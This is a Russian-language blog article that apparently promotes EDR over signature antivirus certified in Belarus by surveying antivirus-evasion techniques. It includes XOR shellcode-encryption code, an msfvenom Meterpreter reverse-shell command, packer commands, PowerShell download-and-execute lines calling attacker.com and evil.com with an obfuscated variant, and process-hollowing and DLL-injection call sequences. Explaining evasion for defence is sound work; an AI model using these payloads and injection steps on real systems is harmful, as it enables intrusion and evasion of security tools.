Найти в Дзене

Обход антивирусов, сертифицированных ОАЦ: почему EDR — это новая реальность киберзащиты

В сфере информационной безопасности Беларуси, где технический регламент ТР 2013/027/BY диктует использование сертифицированных средств защиты, многие организации полагаются на традиционные антивирусные решения, такие как Dr.Web Enterprise Security Suite или PRO32 Endpoint Security. Эти продукты, прошедшие сертификацию Оперативно-аналитического центра (ОАЦ), составляют основу корпоративной защиты и эффективно справляются со своей основной задачей — обнаружением известных вредоносных программ на основе сигнатурного анализа. Они работают как охранник со стопкой фотографий преступников: если файл соответствует фото из базы данных, он блокируется. Однако ландшафт угроз эволюционировал. Современные атакующие давно научились не просто создавать новые вирусы, но и мастерски маскировать свои действия, делая их невидимыми для традиционных сканеров. Статистика это подтверждает: 86% киберпреступников активно используют техники обхода для преодоления классических антивирусов, а 62% успешных атак в
Оглавление
Обход антивирусов, сертифицированных ОАЦ: почему EDR — это новая реальность киберзащиты
Обход антивирусов, сертифицированных ОАЦ: почему EDR — это новая реальность киберзащиты

В сфере информационной безопасности Беларуси, где технический регламент ТР 2013/027/BY диктует использование сертифицированных средств защиты, многие организации полагаются на традиционные антивирусные решения, такие как Dr.Web Enterprise Security Suite или PRO32 Endpoint Security. Эти продукты, прошедшие сертификацию Оперативно-аналитического центра (ОАЦ), составляют основу корпоративной защиты и эффективно справляются со своей основной задачей — обнаружением известных вредоносных программ на основе сигнатурного анализа. Они работают как охранник со стопкой фотографий преступников: если файл соответствует фото из базы данных, он блокируется.

Однако ландшафт угроз эволюционировал. Современные атакующие давно научились не просто создавать новые вирусы, но и мастерски маскировать свои действия, делая их невидимыми для традиционных сканеров. Статистика это подтверждает: 86% киберпреступников активно используют техники обхода для преодоления классических антивирусов, а 62% успешных атак в 2021 году были бесфайловыми, то есть не оставляли на диске привычных вредоносных файлов, которые можно было бы проверить по базе сигнатур.

Именно здесь на сцену выходят системы класса Endpoint Detection and Response (EDR). EDR — это не просто "улучшенный антивирус", а качественно иной подход к защите конечных точек. Вместо того чтобы искать знакомые "лица" угроз, EDR-системы ведут себя как опытный детектив, который наблюдает за поведением. Они непрерывно отслеживают все процессы в системе, анализируют последовательности действий, выявляют аномалии с помощью машинного обучения и сопоставляют их с тактиками и техниками злоумышленников (TTPs). EDR видит не просто файл, а всю цепочку атаки: от запуска PowerShell-скрипта до попытки внедрения кода в системный процесс.

Эта статья — глубокое погружение в арсенал современных атакующих. Мы разберем на практических примерах, как именно обходятся сигнатурные антивирусы, и почему поведенческий анализ EDR становится не просто преимуществом, а острой необходимостью для построения реальной, а не формальной кибербезопасности.

Фундаментальные техники обхода AV: практический арсенал атакующего

1. Шифрование полезной нагрузки

Это первая и самая очевидная линия обороны для вредоносного ПО. Шифрование превращает узнаваемую сигнатуру вредоносного кода в бессмысленный набор байтов, который статический сканер не может сопоставить ни с одной известной угрозой.

XOR-шифрование: Несмотря на свою криптографическую простоту, XOR остается удивительно эффективным для обфускации. Простое применение XOR-операции с одним ключом к шеллкоду полностью меняет его сигнатуру.

// Простое шифрование/дешифрование шеллкода с помощью однобайтового XOR-ключа
void xor_encrypt(unsigned char* data, size_t data_len, unsigned char key) {
for (size_t i = 0; i < data_len; i++) {
data[i] ^= key;
}
}

// Более устойчивый вариант с многобайтовым ключом
void xor_multibyte(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
for (size_t i = 0; i < data_len; i++) {
data[i] ^= key[i % key_len];
}
}

Более стойкие алгоритмы (AES, RC4): Для усложнения анализа атакующие используют криптографически стойкие алгоритмы, такие как AES. Популярный фреймворк Metasploit позволяет легко интегрировать шифрование при создании полезной нагрузки.

# Генерация Meterpreter-шеллкода с использованием шифрования AES-256
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
--encrypt aes256 --encrypt-key mysecretkey123 -f c

Ограничение: Шифрование эффективно только против статического анализа (сканирования файла на диске). Как только вредоносная программа расшифровывает свою полезную нагрузку и запускает ее в памяти, поведенческий мониторинг EDR может обнаружить подозрительную активность.

# 2. Полиморфные и метаморфные техники

Это эволюция шифрования. Идея в том, чтобы каждый новый экземпляр вредоносной программы выглядел совершенно иначе, чем предыдущий.

Полиморфное ПО использует специальный "движок мутаций", который меняет код, сохраняя его функциональность.
Метаморфное ПО идет еще дальше: оно полностью переписывает свой код при каждой репликации, что делает его обнаружение сигнатурными методами практически невозможным.

# 3. Упаковщики (Packers)

Упаковщики сжимают и/или шифруют исполняемый файл, добавляя к нему небольшой код-загрузчик (stub). При запуске такого файла сначала выполняется stub, который распаковывает и запускает оригинальный вредоносный код непосредственно в памяти.

# Пример использования упаковщика Hyperion для шифрования полезной нагрузки
# 1. Компиляция упаковщика
i686-w64-mingw32-c++ Hyperion-1.2/Src/Crypter/*.cpp -o hyperion.exe

# 2. Шифрование нашего вредоносного файла
wine hyperion.exe payload.exe encrypted_payload.exe

Бесфайловые атаки: жизнь за счет «подручных средств» (Living off the Land)

Это одна из самых опасных и эффективных стратегий. Вместо того чтобы приносить в систему свои вредоносные инструменты (файлы), атакующие используют легитимные, предустановленные системные утилиты для достижения своих целей.

PowerShell и WMI

PowerShell — это мечта атакующего. Он интегрирован во все современные версии Windows и позволяет выполнять мощные команды, взаимодействовать с .NET Framework и загружать код напрямую в память.

# Базовая загрузка и выполнение скрипта в памяти без сохранения на диск
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
Для обхода сканеров используются фреймворки, такие как **Invoke-Obfuscation**, которые превращают простые команды в нечитаемый код.

# Оригинальная команда
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/payload')

# Та же команда после Invoke-Obfuscation
&("{1}{0}"-f 'EX','I') (("{2}{0}{1}"-f'Obj','ect','New-') Net.WebClient).("{1}{0}{2}"-f'ownload','D','String')('http://evil.com/payload')

Reflective DLL Injection

Эта техника позволяет загрузить вредоносную DLL-библиотеку напрямую из памяти в адресное пространство другого процесса, опять же, не записывая ее на диск.

Продвинутые техники работы в памяти: инъекции и выполнение кода

Техники инъекции процессов

Цель инъекции — запустить вредоносный код под видом легитимного процесса, чтобы обойти файрволы, поведенческие анализаторы и скрыть свою активность.

Process Hollowing:
Классическая техника, используемая во многих известных вредоносах (TrickBot, Ursnif). Создается легитимный процесс (например, svchost.exe) в приостановленном состоянии, его память очищается и заменяется вредоносным кодом, после чего процесс возобновляется.

// Упрощенная последовательность вызовов для Process Hollowing
CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
NtUnmapViewOfSection(pi.hProcess, baseAddress);
VirtualAllocEx(pi.hProcess, ...);
WriteProcessMemory(pi.hProcess, ...);
SetThreadContext(pi.hThread, ...);
ResumeThread(pi.hThread);

Classic DLL Injection через CreateRemoteThread:
Этот метод заставляет целевой процесс загрузить вредоносную DLL путем создания в нем удаленного потока, который вызывает функцию LoadLibraryA.

// Ключевые вызовы для классической DLL-инъекции
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID allocMem = VirtualAllocEx(hProcess, ...);
WriteProcessMemory(hProcess, allocMem, dllPath, ...);
LPVOID loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, ..., (LPTHREAD_START_ROUTINE)loadLibAddr, ...);

Обфускация и выполнение шеллкода в памяти

Прямое выполнение шеллкода в памяти — еще один способ избежать обнаружения на диске.

Больше на сайте redsec.by >>>